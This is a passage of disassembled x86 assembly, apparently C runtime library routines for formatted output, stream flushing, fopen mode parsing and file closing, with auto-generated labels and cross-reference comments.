pop ecx
loc_41A221: ; CODE XREF: sub_419E38+3D5j
; sub_419E38+3D9j
cmp [ebp+var_248], 2Dh
jnz short loc_41A237
or byte ptr [ebp+var_4+1], 1
lea edi, [ebp+var_247]
mov [ebp+var_8], edi
loc_41A237: ; CODE XREF: sub_419E38+3F0j
push edi
loc_41A238: ; CODE XREF: sub_419E38+36Dj
call sub_417AB0
pop ecx
jmp loc_41A43F
; ---------------------------------------------------------------------------
loc_41A243: ; CODE XREF: sub_419E38+1E9j
sub eax, 69h
jz loc_41A31D
sub eax, 5
jz loc_41A2F3
dec eax
jz loc_41A2E0
dec eax
jz short loc_41A2B0
sub eax, 3
jz loc_41A065
dec eax
dec eax
jz loc_41A321
sub eax, 3
jnz loc_41A442
mov [ebp+var_2C], 27h
jmp short loc_41A2BE
; ---------------------------------------------------------------------------
loc_41A282: ; CODE XREF: sub_419E38+270j
; sub_419E38+27Aj
sub eax, ecx
sar eax, 1
jmp loc_41A43F
; ---------------------------------------------------------------------------
loc_41A28B: ; CODE XREF: sub_419E38+24Fj
test ecx, ecx
jnz short loc_41A298
mov ecx, off_433C68
mov [ebp+var_8], ecx
loc_41A298: ; CODE XREF: sub_419E38+455j
mov eax, ecx
loc_41A29A: ; CODE XREF: sub_419E38+46Fj
mov edx, esi
dec esi
test edx, edx
jz short loc_41A2A9
cmp byte ptr [eax], 0
jz short loc_41A2A9
inc eax
jmp short loc_41A29A
; ---------------------------------------------------------------------------
loc_41A2A9: ; CODE XREF: sub_419E38+467j
; sub_419E38+46Cj
sub eax, ecx
jmp loc_41A43F
; ---------------------------------------------------------------------------
loc_41A2B0: ; CODE XREF: sub_419E38+425j
mov [ebp+var_10], 8
loc_41A2B7: ; CODE XREF: sub_419E38+201j
mov [ebp+var_2C], 7
loc_41A2BE: ; CODE XREF: sub_419E38+448j
test byte ptr [ebp+var_4], 80h
mov [ebp+var_C], 10h
jz short loc_41A328
mov al, byte ptr [ebp+var_2C]
mov [ebp+var_16], 30h
add al, 51h
mov [ebp+var_1C], 2
mov [ebp+var_15], al
jmp short loc_41A328
; ---------------------------------------------------------------------------
loc_41A2E0: ; CODE XREF: sub_419E38+41Ej
test byte ptr [ebp+var_4], 80h
mov [ebp+var_C], 8
jz short loc_41A328
or byte ptr [ebp+var_4+1], 2
jmp short loc_41A328
; ---------------------------------------------------------------------------
loc_41A2F3: ; CODE XREF: sub_419E38+417j
lea eax, [ebp+arg_8]
push eax
call sub_41A617
test byte ptr [ebp+var_4], 20h
pop ecx
jz short loc_41A30C
mov cx, word ptr [ebp+var_14]
mov [eax], cx
jmp short loc_41A311
; ---------------------------------------------------------------------------
loc_41A30C: ; CODE XREF: sub_419E38+4C9j
mov ecx, [ebp+var_14]
mov [eax], ecx
loc_41A311: ; CODE XREF: sub_419E38+4D2j
mov [ebp+var_28], 1
jmp loc_41A540 ; default
; ---------------------------------------------------------------------------
loc_41A31D: ; CODE XREF: sub_419E38+2F7j
; sub_419E38+40Ej
or [ebp+var_4], 40h
loc_41A321: ; CODE XREF: sub_419E38+432j
mov [ebp+var_C], 0Ah
loc_41A328: ; CODE XREF: sub_419E38+491j
; sub_419E38+4A6j ...
test byte ptr [ebp+var_4+1], 80h
jz short loc_41A33A
lea eax, [ebp+arg_8]
push eax
call sub_41A624
pop ecx
jmp short loc_41A37B
; ---------------------------------------------------------------------------
loc_41A33A: ; CODE XREF: sub_419E38+4F4j
test byte ptr [ebp+var_4], 20h
jz short loc_41A361
test byte ptr [ebp+var_4], 40h
lea eax, [ebp+arg_8]
push eax
jz short loc_41A356
call sub_41A617
pop ecx
movsx eax, ax
loc_41A353: ; CODE XREF: sub_419E38+527j
; sub_419E38+539j
cdq
jmp short loc_41A37B
; ---------------------------------------------------------------------------
loc_41A356: ; CODE XREF: sub_419E38+510j
call sub_41A617
pop ecx
movzx eax, ax
jmp short loc_41A353
; ---------------------------------------------------------------------------
loc_41A361: ; CODE XREF: sub_419E38+506j
test byte ptr [ebp+var_4], 40h
lea eax, [ebp+arg_8]
push eax
jz short loc_41A373
call sub_41A617
pop ecx
jmp short loc_41A353
; ---------------------------------------------------------------------------
loc_41A373: ; CODE XREF: sub_419E38+531j
call sub_41A617
pop ecx
xor edx, edx
loc_41A37B: ; CODE XREF: sub_419E38+500j
; sub_419E38+51Cj
test byte ptr [ebp+var_4], 40h
jz short loc_41A39C
test edx, edx
jg short loc_41A39C
jl short loc_41A38B
test eax, eax
jnb short loc_41A39C
loc_41A38B: ; CODE XREF: sub_419E38+54Dj
neg eax
adc edx, 0
mov esi, eax
neg edx
or byte ptr [ebp+var_4+1], 1
mov edi, edx
jmp short loc_41A3A0
; ---------------------------------------------------------------------------
loc_41A39C: ; CODE XREF: sub_419E38+547j
; sub_419E38+54Bj ...
mov esi, eax
mov edi, edx
loc_41A3A0: ; CODE XREF: sub_419E38+562j
test byte ptr [ebp+var_4+1], 80h
jnz short loc_41A3A9
and edi, 0
loc_41A3A9: ; CODE XREF: sub_419E38+56Cj
cmp [ebp+var_10], 0
jge short loc_41A3B8
mov [ebp+var_10], 1
jmp short loc_41A3BC
; ---------------------------------------------------------------------------
loc_41A3B8: ; CODE XREF: sub_419E38+575j
and [ebp+var_4], 0FFFFFFF7h
loc_41A3BC: ; CODE XREF: sub_419E38+57Ej
mov eax, esi
or eax, edi
jnz short loc_41A3C6
and [ebp+var_1C], 0
loc_41A3C6: ; CODE XREF: sub_419E38+588j
lea eax, [ebp+var_49]
mov [ebp+var_8], eax
loc_41A3CC: ; CODE XREF: sub_419E38+5DDj
mov eax, [ebp+var_10]
dec [ebp+var_10]
test eax, eax
jg short loc_41A3DC
mov eax, esi
or eax, edi
jz short loc_41A417
loc_41A3DC: ; CODE XREF: sub_419E38+59Cj
mov eax, [ebp+var_C]
cdq
push edx
push eax
push edi
push esi
mov [ebp+var_40], eax
mov [ebp+var_3C], edx
call sub_4191D0
push [ebp+var_3C]
mov ebx, eax
add ebx, 30h
push [ebp+var_40]
push edi
push esi
call sub_419250
cmp ebx, 39h
mov esi, eax
mov edi, edx
jle short loc_41A40D
add ebx, [ebp+var_2C]
loc_41A40D: ; CODE XREF: sub_419E38+5D0j
mov eax, [ebp+var_8]
dec [ebp+var_8]
mov [eax], bl
jmp short loc_41A3CC
; ---------------------------------------------------------------------------
loc_41A417: ; CODE XREF: sub_419E38+5A2j
lea eax, [ebp+var_49]
sub eax, [ebp+var_8]
inc [ebp+var_8]
test byte ptr [ebp+var_4+1], 2
mov [ebp+var_C], eax
jz short loc_41A442
mov ecx, [ebp+var_8]
cmp byte ptr [ecx], 30h
jnz short loc_41A435
test eax, eax
jnz short loc_41A442
loc_41A435: ; CODE XREF: sub_419E38+5F7j
dec [ebp+var_8]
inc eax
mov ecx, [ebp+var_8]
mov byte ptr [ecx], 30h
loc_41A43F: ; CODE XREF: sub_419E38+35Fj
; sub_419E38+406j ...
mov [ebp+var_C], eax
loc_41A442: ; CODE XREF: sub_419E38+21Bj
; sub_419E38+2FDj ...
cmp [ebp+var_28], 0
jnz loc_41A540 ; default
mov ebx, [ebp+var_4]
test bl, 40h
jz short loc_41A47A
test bh, 1
jz short loc_41A45F
mov [ebp+var_16], 2Dh
jmp short loc_41A473
; ---------------------------------------------------------------------------
loc_41A45F: ; CODE XREF: sub_419E38+61Fj
test bl, 1
jz short loc_41A46A
mov [ebp+var_16], 2Bh
jmp short loc_41A473
; ---------------------------------------------------------------------------
loc_41A46A: ; CODE XREF: sub_419E38+62Aj
test bl, 2
jz short loc_41A47A
mov [ebp+var_16], 20h
loc_41A473: ; CODE XREF: sub_419E38+625j
; sub_419E38+630j
mov [ebp+var_1C], 1
loc_41A47A: ; CODE XREF: sub_419E38+61Aj
; sub_419E38+635j
mov esi, [ebp+var_20]
sub esi, [ebp+var_1C]
sub esi, [ebp+var_C]
test bl, 0Ch
jnz short loc_41A49A
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push esi
push 20h
call sub_41A5AE
add esp, 10h
loc_41A49A: ; CODE XREF: sub_419E38+64Ej
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_16]
push [ebp+arg_0]
push [ebp+var_1C]
push eax
call sub_41A5DF
add esp, 10h
test bl, 8
jz short loc_41A4CC
test bl, 4
jnz short loc_41A4CC
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push esi
push 30h
call sub_41A5AE
add esp, 10h
loc_41A4CC: ; CODE XREF: sub_419E38+67Bj
; sub_419E38+680j
cmp [ebp+var_24], 0
jz short loc_41A513
cmp [ebp+var_C], 0
jle short loc_41A513
mov eax, [ebp+var_C]
mov ebx, [ebp+var_8]
lea edi, [eax-1]
loc_41A4E1: ; CODE XREF: sub_419E38+6D7j
mov ax, [ebx]
inc ebx
push eax
lea eax, [ebp+var_38]
push eax
inc ebx
call sub_41FAFB
pop ecx
test eax, eax
pop ecx
jle short loc_41A528
lea ecx, [ebp+var_14]
push ecx
push [ebp+arg_0]
push eax
lea eax, [ebp+var_38]
push eax
call sub_41A5DF
add esp, 10h
mov eax, edi
dec edi
test eax, eax
jnz short loc_41A4E1
jmp short loc_41A528
; ---------------------------------------------------------------------------
loc_41A513: ; CODE XREF: sub_419E38+698j
; sub_419E38+69Ej
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push [ebp+var_C]
push [ebp+var_8]
call sub_41A5DF
add esp, 10h
loc_41A528: ; CODE XREF: sub_419E38+6BCj
; sub_419E38+6D9j
test byte ptr [ebp+var_4], 4
jz short loc_41A540 ; default
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push esi
push 20h
call sub_41A5AE
add esp, 10h
loc_41A540: ; CODE XREF: sub_419E38+68j
; sub_419E38+8Bj ...
mov edi, [ebp+arg_4] ; default
mov bl, [edi]
inc edi
test bl, bl
mov [ebp+arg_4], edi
jnz loc_419E64
loc_41A551: ; CODE XREF: sub_419E38+1Fj
; sub_419E38+37j
mov eax, [ebp+var_14]
pop edi
pop esi
pop ebx
leave
retn
sub_419E38 endp
; ---------------------------------------------------------------------------
off_41A559 dd offset loc_419FD7 ; DATA XREF: sub_419E38+6Er
dd offset loc_419EAD ; jump table for switch statement
dd offset loc_419EC8
dd offset loc_419F14
dd offset loc_419F4B
dd offset loc_419F53
dd offset loc_419F88
dd offset loc_41A01B
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A579 proc near ; CODE XREF: sub_419E38+1BDp
; sub_419E38+1D6p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov ecx, [ebp+arg_4]
dec dword ptr [ecx+4]
js short loc_41A592
mov edx, [ecx]
mov al, byte ptr [ebp+arg_0]
mov [edx], al
inc dword ptr [ecx]
movzx eax, al
jmp short loc_41A59D
; ---------------------------------------------------------------------------
loc_41A592: ; CODE XREF: sub_41A579+9j
push ecx
push [ebp+arg_0]
call sub_419D23
pop ecx
pop ecx
loc_41A59D: ; CODE XREF: sub_41A579+17j
cmp eax, 0FFFFFFFFh
mov eax, [ebp+arg_8]
jnz short loc_41A5AA
or dword ptr [eax], 0FFFFFFFFh
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41A5AA: ; CODE XREF: sub_41A579+2Aj
inc dword ptr [eax]
pop ebp
retn
sub_41A579 endp
; =============== S U B R O U T I N E =======================================
sub_41A5AE proc near ; CODE XREF: sub_419E38+65Ap
; sub_419E38+68Cp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push esi
push edi
mov edi, [esp+8+arg_4]
mov eax, edi
dec edi
test eax, eax
jle short loc_41A5DC
mov esi, [esp+8+arg_C]
loc_41A5BF: ; CODE XREF: sub_41A5AE+2Cj
push esi
push [esp+0Ch+arg_8]
push [esp+10h+arg_0]
call sub_41A579
add esp, 0Ch
cmp dword ptr [esi], 0FFFFFFFFh
jz short loc_41A5DC
mov eax, edi
dec edi
test eax, eax
jg short loc_41A5BF
loc_41A5DC: ; CODE XREF: sub_41A5AE+Bj
; sub_41A5AE+25j
pop edi
pop esi
retn
sub_41A5AE endp
; =============== S U B R O U T I N E =======================================
sub_41A5DF proc near ; CODE XREF: sub_419E38+670p
; sub_419E38+6CAp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
mov ebx, [esp+4+arg_4]
mov eax, ebx
dec ebx
push esi
push edi
test eax, eax
jle short loc_41A613
mov edi, [esp+0Ch+arg_C]
mov esi, [esp+0Ch+arg_0]
loc_41A5F5: ; CODE XREF: sub_41A5DF+32j
movsx eax, byte ptr [esi]
push edi
inc esi
push [esp+10h+arg_8]
push eax
call sub_41A579
add esp, 0Ch
cmp dword ptr [edi], 0FFFFFFFFh
jz short loc_41A613
mov eax, ebx
dec ebx
test eax, eax
jg short loc_41A5F5
loc_41A613: ; CODE XREF: sub_41A5DF+Cj
; sub_41A5DF+2Bj
pop edi
pop esi
pop ebx
retn
sub_41A5DF endp
; =============== S U B R O U T I N E =======================================
sub_41A617 proc near ; CODE XREF: sub_419E38+E5p
; sub_419E38+124p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add dword ptr [eax], 4
mov eax, [eax]
mov eax, [eax-4]
retn
sub_41A617 endp
; =============== S U B R O U T I N E =======================================
sub_41A624 proc near ; CODE XREF: sub_419E38+4FAp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add dword ptr [eax], 8
mov ecx, [eax]
mov eax, [ecx-8]
mov edx, [ecx-4]
retn
sub_41A624 endp
; =============== S U B R O U T I N E =======================================
sub_41A634 proc near ; CODE XREF: sub_419E38+2C7p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add dword ptr [eax], 4
mov eax, [eax]
mov ax, [eax-4]
retn
sub_41A634 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A642 proc near ; CODE XREF: sub_417794+17p
; sub_417794+58p ...
var_4 = byte ptr -4
var_3 = byte ptr -3
var_2 = byte ptr -2
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
lea ecx, [eax+1]
cmp ecx, 100h
ja short loc_41A660
mov ecx, off_433C70
movzx eax, word ptr [ecx+eax*2]
jmp short loc_41A6B2
; ---------------------------------------------------------------------------
loc_41A660: ; CODE XREF: sub_41A642+10j
mov ecx, eax
push esi
mov esi, off_433C70
sar ecx, 8
movzx edx, cl
test byte ptr [esi+edx*2+1], 80h
pop esi
jz short loc_41A685
and [ebp+var_2], 0
mov [ebp+var_4], cl
mov [ebp+var_3], al
push 2
jmp short loc_41A68E
; ---------------------------------------------------------------------------
loc_41A685: ; CODE XREF: sub_41A642+33j
and [ebp+var_3], 0
mov [ebp+var_4], al
push 1
loc_41A68E: ; CODE XREF: sub_41A642+41j
pop eax
lea ecx, [ebp+arg_0+2]
push 1
push 0
push 0
push ecx
push eax
lea eax, [ebp+var_4]
push eax
push 1
call sub_41FB63
add esp, 1Ch
test eax, eax
jnz short loc_41A6AE
leave
retn
; ---------------------------------------------------------------------------
loc_41A6AE: ; CODE XREF: sub_41A642+68j
movzx eax, word ptr [ebp+arg_0+2]
loc_41A6B2: ; CODE XREF: sub_41A642+1Cj
and eax, [ebp+arg_4]
leave
retn
sub_41A642 endp
; =============== S U B R O U T I N E =======================================
sub_41A6B7 proc near ; CODE XREF: sub_417900+2Ap
; sub_41FEC6+290p
arg_0 = dword ptr 4
push ebx
push ebp
push esi
push edi
mov edi, [esp+10h+arg_0]
cmp edi, dword_4CEDE0
jnb loc_41A751
mov eax, edi
mov esi, edi
sar eax, 5
and esi, 1Fh
lea ebx, ds:4CECE0h[eax*4]
shl esi, 3
mov eax, [ebx]
test byte ptr [eax+esi+4], 1
jz short loc_41A751
push edi
call sub_41FE32
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_41A730
cmp edi, 1
jz short loc_41A6FE
cmp edi, 2
jnz short loc_41A714
loc_41A6FE: ; CODE XREF: sub_41A6B7+40j
push 2
call sub_41FE32
push 1
mov ebp, eax
call sub_41FE32
pop ecx
cmp eax, ebp
pop ecx
jz short loc_41A730
loc_41A714: ; CODE XREF: sub_41A6B7+45j
push edi
call sub_41FE32
pop ecx
push eax
call near ptr 26408F3h
nop
test eax, eax
jnz short loc_41A730
nop
call near ptr 2660B07h
mov ebp, eax
jmp short loc_41A732
; ---------------------------------------------------------------------------
loc_41A730: ; CODE XREF: sub_41A6B7+3Bj
; sub_41A6B7+5Bj ...
xor ebp, ebp
loc_41A732: ; CODE XREF: sub_41A6B7+77j
push edi
call sub_41FDB8
mov eax, [ebx]
pop ecx
and byte ptr [eax+esi+4], 0
test ebp, ebp
jz short loc_41A74D
push ebp
call sub_41EF44
pop ecx
jmp short loc_41A762
; ---------------------------------------------------------------------------
loc_41A74D: ; CODE XREF: sub_41A6B7+8Bj
xor eax, eax
jmp short loc_41A765
; ---------------------------------------------------------------------------
loc_41A751: ; CODE XREF: sub_41A6B7+Ej
; sub_41A6B7+2Fj
and dword_4CD9B8, 0
mov dword_4CD9B4, 9
loc_41A762: ; CODE XREF: sub_41A6B7+94j
or eax, 0FFFFFFFFh
loc_41A765: ; CODE XREF: sub_41A6B7+98j
pop edi
pop esi
pop ebp
pop ebx
retn
sub_41A6B7 endp
; =============== S U B R O U T I N E =======================================
sub_41A76A proc near ; CODE XREF: sub_417900+22p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi+0Ch]
test al, 83h
jz short loc_41A793
test al, 8
jz short loc_41A793
push dword ptr [esi+8]
call sub_417C3B
and word ptr [esi+0Ch], 0FBF7h
xor eax, eax
pop ecx
mov [esi], eax
mov [esi+8], eax
mov [esi+4], eax
loc_41A793: ; CODE XREF: sub_41A76A+Aj
; sub_41A76A+Ej
pop esi
retn
sub_41A76A endp
; =============== S U B R O U T I N E =======================================
sub_41A795 proc near ; CODE XREF: sub_41A835+2Dp
; sub_41A835+48p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
test esi, esi
jnz short loc_41A7A7
push esi
call sub_41A835
pop ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_41A7A7: ; CODE XREF: sub_41A795+7j
push esi
call sub_41A7D0
test eax, eax
pop ecx
jz short loc_41A7B7
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_41A7B7: ; CODE XREF: sub_41A795+1Bj
test byte ptr [esi+0Dh], 40h
jz short loc_41A7CC
push dword ptr [esi+10h]
call sub_41FE6F
neg eax
pop ecx
pop esi
sbb eax, eax
retn
; ---------------------------------------------------------------------------
loc_41A7CC: ; CODE XREF: sub_41A795+26j
xor eax, eax
pop esi
retn
sub_41A795 endp
; =============== S U B R O U T I N E =======================================
sub_41A7D0 proc near ; CODE XREF: sub_417900+1Ap
; sub_418D0E+37p ...
arg_0 = dword ptr 4
push ebx
push esi
mov esi, [esp+8+arg_0]
xor ebx, ebx
push edi
mov eax, [esi+0Ch]
mov ecx, eax
and ecx, 3
cmp cl, 2
jnz short loc_41A81D
test ax, 108h
jz short loc_41A81D
mov eax, [esi+8]
mov edi, [esi]
sub edi, eax
test edi, edi
jle short loc_41A81D
push edi
push eax
push dword ptr [esi+10h]
call sub_41ED97
add esp, 0Ch
cmp eax, edi
jnz short loc_41A816
mov eax, [esi+0Ch]
test al, 80h
jz short loc_41A81D
and al, 0FDh
mov [esi+0Ch], eax
jmp short loc_41A81D
; ---------------------------------------------------------------------------
loc_41A816: ; CODE XREF: sub_41A7D0+36j
or dword ptr [esi+0Ch], 20h
or ebx, 0FFFFFFFFh
loc_41A81D: ; CODE XREF: sub_41A7D0+14j
; sub_41A7D0+1Aj ...
mov eax, [esi+8]
and dword ptr [esi+4], 0
mov [esi], eax
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_41A7D0 endp
; =============== S U B R O U T I N E =======================================
sub_41A82C proc near ; CODE XREF: sub_41FAE7p
push 1
call sub_41A835
pop ecx
retn
sub_41A82C endp
; =============== S U B R O U T I N E =======================================
sub_41A835 proc near ; CODE XREF: sub_41A795+Ap
; sub_41A82C+2p
arg_0 = dword ptr 4
push ebx
push esi
push edi
xor esi, esi
xor ebx, ebx
xor edi, edi
cmp dword_4CECC0, esi
jle short loc_41A893
loc_41A846: ; CODE XREF: sub_41A835+5Cj
mov eax, dword_4CDCB0
mov eax, [eax+esi*4]
test eax, eax
jz short loc_41A88A
mov ecx, [eax+0Ch]
test cl, 83h
jz short loc_41A88A
cmp [esp+0Ch+arg_0], 1
jnz short loc_41A870
push eax
call sub_41A795
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_41A88A
inc ebx
jmp short loc_41A88A
; ---------------------------------------------------------------------------
loc_41A870: ; CODE XREF: sub_41A835+2Aj
cmp [esp+0Ch+arg_0], 0
jnz short loc_41A88A
test cl, 2
jz short loc_41A88A
push eax
call sub_41A795
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_41A88A
or edi, eax
loc_41A88A: ; CODE XREF: sub_41A835+1Bj
; sub_41A835+23j ...
inc esi
cmp esi, dword_4CECC0
jl short loc_41A846
loc_41A893: ; CODE XREF: sub_41A835+Fj
cmp [esp+0Ch+arg_0], 1
mov eax, ebx
jz short loc_41A89E
mov eax, edi
loc_41A89E: ; CODE XREF: sub_41A835+65j
pop edi
pop esi
pop ebx
retn
sub_41A835 endp
; =============== S U B R O U T I N E =======================================
sub_41A8A2 proc near ; CODE XREF: sub_417956+8p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push dword ptr [esi+10h]
call sub_41FA1C
test eax, eax
pop ecx
jz short loc_41A92B
cmp esi, offset dword_4363A8
jnz short loc_41A8C0
xor eax, eax
jmp short loc_41A8CB
; ---------------------------------------------------------------------------
loc_41A8C0: ; CODE XREF: sub_41A8A2+18j
cmp esi, offset dword_4363C8
jnz short loc_41A92B
push 1
pop eax
loc_41A8CB: ; CODE XREF: sub_41A8A2+1Cj
inc dword_4CDB78
test word ptr [esi+0Ch], 10Ch
jnz short loc_41A92B
cmp dword_4CDA0C[eax*4], 0
push ebx
push edi
lea edi, ds:4CDA0Ch[eax*4]
mov ebx, 1000h
jnz short loc_41A911
push ebx
call sub_417B89
test eax, eax
pop ecx
mov [edi], eax
jnz short loc_41A911
lea eax, [esi+14h]
push 2
mov [esi+8], eax
mov [esi], eax
pop eax
mov [esi+18h], eax
mov [esi+4], eax
jmp short loc_41A91E
; ---------------------------------------------------------------------------
loc_41A911: ; CODE XREF: sub_41A8A2+4Dj
; sub_41A8A2+5Aj
mov edi, [edi]
mov [esi+18h], ebx
mov [esi+8], edi
mov [esi], edi
mov [esi+4], ebx
loc_41A91E: ; CODE XREF: sub_41A8A2+6Dj
or word ptr [esi+0Ch], 1102h
push 1
pop eax
pop edi
pop ebx
pop esi
retn
; ---------------------------------------------------------------------------
loc_41A92B: ; CODE XREF: sub_41A8A2+10j
; sub_41A8A2+24j ...
xor eax, eax
pop esi
retn
sub_41A8A2 endp
; =============== S U B R O U T I N E =======================================
sub_41A92F proc near ; CODE XREF: sub_417956+24p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_0], 0
push esi
jz short loc_41A959
mov esi, [esp+4+arg_4]
test byte ptr [esi+0Dh], 10h
jz short loc_41A96A
push esi
call sub_41A7D0
and byte ptr [esi+0Dh], 0EEh
and dword ptr [esi+18h], 0
and dword ptr [esi], 0
and dword ptr [esi+8], 0
pop ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_41A959: ; CODE XREF: sub_41A92F+6j
mov eax, [esp+4+arg_4]
test byte ptr [eax+0Dh], 10h
jz short loc_41A96A
push eax
call sub_41A7D0
pop ecx
loc_41A96A: ; CODE XREF: sub_41A92F+10j
; sub_41A92F+32j
pop esi
retn
sub_41A92F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A96C proc near ; CODE XREF: sub_417988+17p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, dword_4CDB80
push edi
mov edi, [ebp+arg_4]
xor ebx, ebx
mov [ebp+var_8], ebx
mov [ebp+var_4], ebx
mov al, [edi]
cmp al, 61h
jz short loc_41A9A5
cmp al, 72h
jz short loc_41A99E
cmp al, 77h
jnz loc_41AAB9
mov ecx, 301h
jmp short loc_41A9AA
; ---------------------------------------------------------------------------
loc_41A99E: ; CODE XREF: sub_41A96C+21j
xor ecx, ecx
or esi, 1
jmp short loc_41A9AD
; ---------------------------------------------------------------------------
loc_41A9A5: ; CODE XREF: sub_41A96C+1Dj
mov ecx, 109h
loc_41A9AA: ; CODE XREF: sub_41A96C+30j
or esi, 2
loc_41A9AD: ; CODE XREF: sub_41A96C+37j
push 1
pop edx
loc_41A9B0: ; CODE XREF: sub_41A96C+8Bj
; sub_41A96C+A0j ...
mov al, [edi+1]
inc edi
cmp al, bl
jz loc_41AA9F
cmp edx, ebx
jz loc_41AA9F
movsx eax, al
cmp eax, 54h
jg short loc_41AA3E
jz short loc_41AA2E
sub eax, 2Bh
jz short loc_41AA18
sub eax, 19h
jz short loc_41AA0E
sub eax, 0Eh
jz short loc_41A9F9
dec eax
jnz loc_41AA90
cmp [ebp+var_4], ebx
jnz loc_41AA90
mov [ebp+var_4], 1
or ecx, 20h
jmp short loc_41A9B0
; ---------------------------------------------------------------------------
loc_41A9F9: ; CODE XREF: sub_41A96C+6Fj
cmp [ebp+var_4], ebx
jnz loc_41AA90
mov [ebp+var_4], 1
or ecx, 10h
jmp short loc_41A9B0
; ---------------------------------------------------------------------------
loc_41AA0E: ; CODE XREF: sub_41A96C+6Aj
test cl, 40h
jnz short loc_41AA90
or ecx, 40h
jmp short loc_41A9B0
; ---------------------------------------------------------------------------
loc_41AA18: ; CODE XREF: sub_41A96C+65j
test cl, 2
jnz short loc_41AA90
and ecx, 0FFFFFFFEh
and esi, 0FFFFFFFCh
or ecx, 2
or esi, 80h
jmp short loc_41A9B0
; ---------------------------------------------------------------------------
loc_41AA2E: ; CODE XREF: sub_41A96C+60j
mov eax, 1000h
test ecx, eax
jnz short loc_41AA90
or ecx, eax
jmp loc_41A9B0
; ---------------------------------------------------------------------------
loc_41AA3E: ; CODE XREF: sub_41A96C+5Ej
sub eax, 62h
jz short loc_41AA8B
dec eax
jz short loc_41AA74
sub eax, 0Bh
jz short loc_41AA5D
sub eax, 6
jnz short loc_41AA90
test ch, 0C0h
jnz short loc_41AA90
or ch, 40h
jmp loc_41A9B0
; ---------------------------------------------------------------------------
loc_41AA5D: ; CODE XREF: sub_41A96C+DDj
cmp [ebp+var_8], ebx
jnz short loc_41AA90
mov [ebp+var_8], 1
and esi, 0FFFFBFFFh
jmp loc_41A9B0
; ---------------------------------------------------------------------------
loc_41AA74: ; CODE XREF: sub_41A96C+D8j
cmp [ebp+var_8], ebx
jnz short loc_41AA90
mov [ebp+var_8], 1
or esi, 4000h
jmp loc_41A9B0
; ---------------------------------------------------------------------------
loc_41AA8B: ; CODE XREF: sub_41A96C+D5j
test ch, 0C0h
jz short loc_41AA97
loc_41AA90: ; CODE XREF: sub_41A96C+72j
; sub_41A96C+7Bj ...
xor edx, edx
jmp loc_41A9B0
; ---------------------------------------------------------------------------
loc_41AA97: ; CODE XREF: sub_41A96C+122j
or ch, 80h
jmp loc_41A9B0
; ---------------------------------------------------------------------------
loc_41AA9F: ; CODE XREF: sub_41A96C+4Aj
; sub_41A96C+52j
push 1A4h
push [ebp+arg_8]
push ecx
push [ebp+arg_0]
call sub_41FEC6
mov ecx, eax
add esp, 10h
cmp ecx, ebx
jge short loc_41AABD
loc_41AAB9: ; CODE XREF: sub_41A96C+25j
xor eax, eax
jmp short loc_41AAD7
; ---------------------------------------------------------------------------
loc_41AABD: ; CODE XREF: sub_41A96C+14Bj
mov eax, [ebp+arg_C]
inc dword_4CDB78
mov [eax+0Ch], esi
mov [eax+4], ebx
mov [eax], ebx
mov [eax+8], ebx
mov [eax+1Ch], ebx
mov [eax+10h], ecx
loc_41AAD7: ; CODE XREF: sub_41A96C+14Fj
pop edi
pop esi
pop ebx
leave
retn
sub_41A96C endp
; =============== S U B R O U T I N E =======================================
sub_41AADC proc near ; CODE XREF: sub_417988p
mov edx, dword_4CECC0
push ebx
push ebp
push esi
xor ebp, ebp
xor esi, esi
xor eax, eax
cmp edx, ebp
push edi
jle short loc_41AB4D
mov ebx, dword_4CDCB0
mov edi, ebx
loc_41AAF8: ; CODE XREF: sub_41AADC+2Ej
mov ecx, [edi]
cmp ecx, ebp
jz short loc_41AB13
test byte ptr [ecx+0Ch], 83h
jz short loc_41AB0E
inc eax
add edi, 4
cmp eax, edx
jl short loc_41AAF8
jmp short loc_41AB4D
; ---------------------------------------------------------------------------
loc_41AB0E: ; CODE XREF: sub_41AADC+26j
mov esi, [ebx+eax*4]
jmp short loc_41AB37
; ---------------------------------------------------------------------------
loc_41AB13: ; CODE XREF: sub_41AADC+20j
mov edi, eax
push 20h
shl edi, 2
call sub_417B89
pop ecx
mov ecx, dword_4CDCB0
mov [edi+ecx], eax
mov eax, dword_4CDCB0
mov edi, [edi+eax]
cmp edi, ebp
jz short loc_41AB4D
mov esi, edi
loc_41AB37: ; CODE XREF: sub_41AADC+35j
cmp esi, ebp
jz short loc_41AB4D
or dword ptr [esi+10h], 0FFFFFFFFh
mov [esi+4], ebp
mov [esi+0Ch], ebp
mov [esi+8], ebp
mov [esi], ebp
